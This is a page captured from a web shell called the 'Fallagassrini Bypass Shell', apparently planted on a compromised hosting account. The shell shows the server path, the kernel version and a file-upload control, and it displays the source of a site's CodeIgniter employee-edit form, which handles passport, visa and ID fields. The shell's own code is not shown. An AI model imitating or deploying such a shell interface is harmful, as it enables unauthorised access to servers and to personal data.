? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/cocorico/application/views/hr/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/cocorico/application/views/hr/edit_employee.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Update employee details</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('hr','viewinhrsearch','search_employee','view_employee','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                $department = $this->hrmodel->search_department();
                $designation = $this->hrmodel->search_designation();
                $grade = $this->hrmodel->search_grade();
                $emploee =$this->hrmodel->search_employee();
                $status = $this->hrmodel->search_status();
                $branch = $this->mastermodel->getdatas('branch', 'branch_id');
                $police_certificate=$this->mastermodel->getenumvalues('employee','employee_police_certificate');
                echo form_open('hr/addinhr/update_employee/view_employee/1', $attributes);
                ?>
                <h3 class="form-section">Personal Details </h3>
                <input type="hidden" name="employee_id" id="employee_id" class="required"   value="<?= $viewinfo->employee_id ?>">
                
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Employee No</label>
                            <div class="controls">
                                <input type="hidden" name="employee_no" value="<?= $viewinfo->employee_no ?>"/>
                                <span class="text bold"><?= $viewinfo->employee_no ?></span>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Employee Name</label>
                            <div class="controls">
                                <input name="employee_name" id="employee_name" class="required span12" type="text"   value="<?= $viewinfo->employee_name ?>">
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Gender </label>
                            <div class="controls">
                                <select name="employee_gender" id="employee_gender" class="required chosen span12"  >
                                        <option value="">--Select--</option>
                                                            <option value="Male" <?php if ($viewinfo->employee_gender == "Male") {
                                        echo "selected";
                                    } ?>>Male</option>
                                                            <option value="Female" <?php if ($viewinfo->employee_gender == "Female") {
                                        echo "selected";
                                    } ?>>Female</option>
                                    </select>

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Employee Joining Date</label>
                            <div class="controls">
                                <input id="employee_joining_date" type="text" class="calfocus span12" name="employee_joining_date" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->employee_joining_date) ?>"/>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Date of Birth </label>
                            <div class="controls">
                                <input name="employee_dob" id="employee_dob" class="calfocus span12" type="text" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->employee_dob); ?>">
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Nationality </label>
                            <div class="controls">
                                <?php
                            $nationality = $this->mastermodel->search_nationality();
                            ?>
                            <select name="employee_nationality_id" type="text" class="required chosen span12" id="employee_nationality_id">
                                <option value="">Select</option>
                                <?php
                                foreach ($nationality['results']->result_array() as $list) {
                                    ?>
                                    <option value="<?= $list['nationality_id']; ?>"<?php
                                if ($viewinfo->employee_nationality_id == $list['nationality_id']) {
                                    echo "selected";
                                }
                                    ?>><?= $list['nationality_name']; ?></option>
                                            <?php
                                        }
                                        ?>

                            </select> 

                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Passport No</label>
                            <div class="controls">
                                <input name="employee_passport_no" id="employee_passport_no" class="span12 m-wrap"   value="<?= $viewinfo->employee_passport_no ?>">

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Passport Expiry Date</label>
                            <div class="controls">
                                <input name="employee_passport_expiry_date" id="employee_passport_expiry_date" class="span12 m-wrap calfocus" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->employee_passport_expiry_date) ?>">
                            </div>
                        </div>
                    </div>
                    
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Visa Type</label>
                            <div class="controls">
                                <input name="employee_visa_type" id="employee_visa_type" class="required span12 m-wrap" type="text"   value="<?= $viewinfo->employee_visa_type ?>">
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Resident Visa Expiry Date</label>
                            <div class="controls">
                               <input type="text" name="employee_visa_expiry_date" id="employee_visa_expiry_date" class="calfocus span12 m-wrap"   value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->employee_visa_expiry_date); ?>">
                            </div>
                        </div>
                    </div>
                </div>

                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Labor Card No</label>
                            <div class="controls">
                                <input name="employee_labour_card_no" id="employee_labour_card_no" class="span12 m-wrap"   value="<?= $viewinfo->employee_labour_card_no ?>">
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Labor Card Expiry Date</label>
                            <div class="controls">
                                <input type="text" name="employee_labour_card_expiry_date" id="employee_labour_card_expiry_date" class="calfocus span12 m-wrap"   value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->employee_labour_card_expiry_date); ?>">

                            </div>
                        </div>
                    </div>
                    
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Qatar ID No</label>
                            <div class="controls">
                                <input type="text" name="employee_qatar_id_no" id="employee_qatar_id_no" class="required span12 m-wrap" value="<?=$viewinfo->employee_qatar_id_no?>">
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Police Certificate</label>
                            <div class="controls">
                                <select name="employee_police_certificate" id="employee_police_certificate" class="required chosen span12">
                                    <option value="">Select</option>
                                    <?php
                                    if (count($police_certificate['val']) > 0) {
                                            foreach ($police_certificate['val'] as $method) {
                                                echo "<option value='" . $method . "' ";
                                                if ($method == $viewinfo->employee_police_certificate)
                                                    echo "selected";
                                                echo ">" . $method . "</option>";
                                            }
                                        }
                                    ?>

                                </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Employee Device No</label>
                            <div class="controls">
                                    <?php
                                    $data = array(
                                        'name' => 'employee_device_no',
                                        'class' =>'span12',
                                        'id' => 'employee_device_no',
                                        'onchange' => "checkexistence('employee','employee_device_no',this.value)",
                                        'value' => "$viewinfo->employee_device_no"
                                    );
                                    echo form_input($data) . form_error($data);
                                    ?>

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Medical test expiry date</label>
                            <div class="controls">
                                <input type="text" name="employee_medical_test_expiry_date" id="employee_medical_test_expiry_date" class="calfocus span12"   value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->employee_medical_test_expiry_date); ?>">
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Teacher </label>
                            <div class="controls">
                                <input class="" id="employee_teacher"<?php if ($viewinfo->employee_teacher == "1") {
                                    echo "checked";
                                } ?> type="checkbox" class="" name="employee_teacher">
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Employee Relieving Date</label>
                            <div class="controls">
                                <input id="employee_relieving_date" type="text" class="calfocus span12" name="employee_relieving_date" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->employee_relieving_date);?>">
                            </div>
                        </div>
                    </div>
                </div>
                <h3 class="form-section">Employee Details </h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Branch</label>
                            <div class="controls">
                                <select name="employee_branch_id" id="employee_branch_id" class="required span12">
                                        <option value="">Select</option>
                                        <?php
                                        foreach ($branch as $list) {
                                            ?>
                                            <option value="<?= $list['branch_id']; ?>"<?php if ($list['branch_id'] == $viewinfo->employee_branch_id) {
                                            echo "selected";
                                        } ?>><?= $list['branch_name']; ?></option>
                    <?php
                }
                ?>
                                    </select>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Designation</label>
                            <div class="controls">
                                <select name="employee_designation_id" id="employee_designation_id" class="required chosen span12"  >
                                <option value="">--Select--</option>
                                <?php
                                foreach ($designation['results']->result_array() as $list) {
                                    ?>
                                    <option value="<?= $list['designation_id']; ?>"<?php if ($list['designation_id'] == $viewinfo->employee_designation_id) {
                                        echo "selected";
                                    } ?>><?= $list['designation_name']; ?></option>
            <?php
        }
        ?>
                            </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Department </label>
                            <div class="controls">
                                <select name="employee_department_id" id="employee_department_id"  class="required chosen span12"  >
                        <option value="">--Select--</option>
                        <?php
                        foreach ($department['results']->result_array() as $list) {
                            ?>
                            <option value="<?= $list['department_id']; ?>"<?php if ($list['department_id'] == $viewinfo->employee_department_id) {
                                echo "selected";
                            } ?>><?= $list['department_name']; ?></option>
    <?php
}
?>
                    </select>

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Grade </label>
                            <div class="controls">
                                <select name="employee_grade_id" id="employee_grade_id" class="required chosen span12"  >
                        <option value="">--Select--</option>
<?php
foreach ($grade['results']->result_array() as $list) {
    ?>
                            <option value="<?= $list['grade_id']; ?>" <?php if ($list['grade_id'] == $viewinfo->employee_grade_id) {
        echo "selected";
    } ?> ><?= $list['grade_name']; ?></option>
    <?php
}
?>
                    </select>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Status </label>
                            <div class="controls">
                                <select name="employee_status" id="employee_status" class="required chosen span12"  >
                        <option value="">--Select--</option>
<?php
foreach ($status['results']->result_array() as $list) {
    ?>
                            <option value="<?= $list['status_id']; ?>" <?php if ($list['status_id'] == $viewinfo->employee_status_id) {
        echo "selected";
    } ?> ><?= $list['status_name']; ?></option>
    <?php
}
?>
                    </select>

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Reporting To </label>
                            <div class="controls">
                                <select name="employee_reporting_to" id="employee_reporting_to"  >
                        <option value="">Select</option>
<?php
foreach ($emploee['results']->result_array() as $emp) {
    ?>
                            <option value="<?= $emp['employee_id'] ?>" <?php if ($emp['employee_id'] == $viewinfo->employee_reporting_to) {
        echo 'selected';
    } ?>><?= $emp['employee_name'] ?></option>
    <?php
}
?>
                    </select>

                            </div>
                        </div>
                    </div>
                </div>
                <h3 class="form-section">Address Details</h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Contact No</label>
                            <div class="controls">
                                <input name="employee_contact_no" id="employee_contact_no" class="span12 m-wrap"   value="<?= $viewinfo->employee_contact_no ?>">
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Mobile No</label>
                            <div class="controls">
                                <input type="text" name="employee_mobile_no" id="employee_mobile_no" class="span12 m-wrap" value="<?= $viewinfo->employee_mobile_no ?>">            
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Email ID </label>
                            <div class="controls">
                                <input name="employee_email" id="employee_email" class="email span12"   value="<?= $viewinfo->employee_email ?>" class="email">       

                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Local Address </label>
                            <div class="controls">
                                <textarea class="span12 m-wrap" name="employee_local_address" id="employee_local_address"><?= $viewinfo->employee_local_address ?></textarea>

                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Permanent Address </label>
                            <div class="controls">
                                <textarea class="span12 m-wrap" name="employee_permanent_address" id="employee_permanent_address"><?= $viewinfo->employee_permanent_address ?></textarea>

                            </div>
                        </div>
                    </div>
                </div>

                
                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i> Professional Experience</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                    <tr>
                                        <th>Employer</th>
                                        <th>Designation</th>
                                        <th>Period</th>
                                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                                    </tr>
                    <?php
                    $i = 1;
                    $professional = $this->mastermodel->get_data('employee_professional_experience', $viewinfo->employee_id, 'employee_id');
                    foreach ($professional as $list) {
                        ?>
                                        <tr>
                                            <td><input class="w_90" value="<?= $list['employer']; ?>" type="text" name="employer<?= $i; ?>" id="employer<?= $i; ?>"/></td>
                                            <td><input class="w_90" value="<?= $list['designation']; ?>" type="text" name="designation<?= $i; ?>" id="designation<?= $i; ?>"/></td>
                                            <td>
                                                <input class="w_90" value="<?= $list['period']; ?>" type="text" name="period"<?= $i; ?> id="period<?= $i; ?>"/>
                                            </td>
                                            <td>
                                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                            </td>
                                        </tr>
                        <?php
                        $i++;
                    }
                    ?>
                                    <tr>
                                        <td><input class="w_90" type="text" name="employer" id="employer"/></td>
                                        <td><input class="w_90" type="text" name="designation" id="designation"/></td>
                                        <td>
                                            <input class="w_90" type="text" name="period" id="period"/>
                                        </td>
                                        <td>
                                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                        </td>
                                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>
                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>  Educational Qualification</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                    <tr>
                                        <th>Course</th>
                                        <th>University</th>
                                        <th>Year of Passing</th>
                                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                                    </tr>
                    <?php
                    $i = 1;
                    $professional = $this->mastermodel->get_data('employee_educational_qualification', $viewinfo->employee_id, 'employee_id');
                    foreach ($professional as $list) {
                        ?>
                                        <tr>
                                            <td><input class="w_90" value="<?= $list['course']; ?>" type="text" name="course<?= $i; ?>" id="course<?= $i; ?>"/></td>
                                            <td><input class="w_90" value="<?= $list['university']; ?>" type="text" name="university<?= $i; ?>" id="university<?= $i; ?>"/></td>
                                            <td>
                                                <input class="w_90" value="<?= $list['yearofpassing']; ?>" type="text" name="yearofpassing"<?= $i; ?> id="yearofpassing<?= $i; ?>"/>
                                            </td>
                                            <td>
                                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                            </td>
                                        </tr>
                        <?php
                        $i++;
                    }
                    ?>
                                    <tr>
                                        <td><input class="w_90" type="text" name="course" id="course"/></td>
                                        <td><input class="w_90" type="text" name="university" id="university"/></td>
                                        <td>
                                            <input class="w_90" type="text" name="yearofpassing" id="yearofpassing"/>
                                        </td>
                                        <td>
                                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                        </td>
                                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>
                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>  Additional Certification</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="sample_5" style="background-color: white;">
                                    <tr>
                                        <th>Course</th>
                                        <th>Institute</th>
                                        <th>Year of Passing</th>
                                        <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                                    </tr>
                    <?php
                    $i = 1;
                    $professional = $this->mastermodel->get_data('employee_additional_certification', $viewinfo->employee_id, 'employee_id');
                    foreach ($professional as $list) {
                        ?>
                                        <tr>
                                            <td><input class="w_90" value="<?= $list['course']; ?>" type="text" name="additional_course<?= $i; ?>" id="additional_course<?= $i; ?>"/></td>
                                            <td><input class="w_90" value="<?= $list['institute']; ?>" type="text" name="additional_institute<?= $i; ?>" id="additional_institute<?= $i; ?>"/></td>
                                            <td>
                                                <input class="w_90" value="<?= $list['yearofpassing']; ?>" type="text" name="additional_yearofpassing<?= $i; ?>" id="additional_yearofpassing<?= $i; ?>"/>
                                            </td>
                                            <td>
                                                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                            </td>
                                        </tr>
                        <?php
                        $i++;
                    }
                    ?>
                                    <tr>
                                        <td><input class="w_90" type="text" name="additional_course" id="additional_course"/></td>
                                        <td><input class="w_90" type="text" name="additional_institute" id="additional_institute"/></td>
                                        <td>
                                            <input class="w_90" type="text" name="additional_yearofpassing" id="additional_yearofpassing"/>
                                        </td>
                                        <td>
                                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                                        </td>
                                    </tr>
                                </table>
                            </div>
                        </div>

                    </div>
                </div>

                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="employee"/>
                    <input type="hidden" name="resfunction" value="search_employee"/>
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i>Update</button>
                    <button type="button" onclick="viewdata('hr','viewinhrsearch','search_employee','view_employee','<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
<?php
echo form_close();
?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net